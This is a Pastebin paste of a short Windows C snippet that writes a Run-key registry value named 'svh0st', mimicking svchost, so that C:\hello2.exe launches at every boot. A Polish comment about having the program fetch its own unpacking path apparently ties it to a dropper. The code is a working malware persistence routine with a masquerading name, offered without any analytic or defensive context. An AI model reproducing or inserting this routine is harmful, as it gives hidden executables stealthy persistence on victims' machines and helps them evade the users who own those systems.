Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- HKEY hKey;
- unsigned char PathToFile[50]="C:\\hello2.exe"; // Zmien tutaj zeby sam pobieral adres rozpakowania
- // The directory of registry to be opened.
- RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
- KEY_SET_VALUE,&hKey );
- // Set the Value which is the directory of your exe file.
- RegSetValueEx(hKey, "svh0st",0,REG_SZ,PathToFile,sizeof(PathToFile));
- //Close key.
- RegCloseKey(hKey);
Advertisement
Add Comment
Please, Sign In to add comment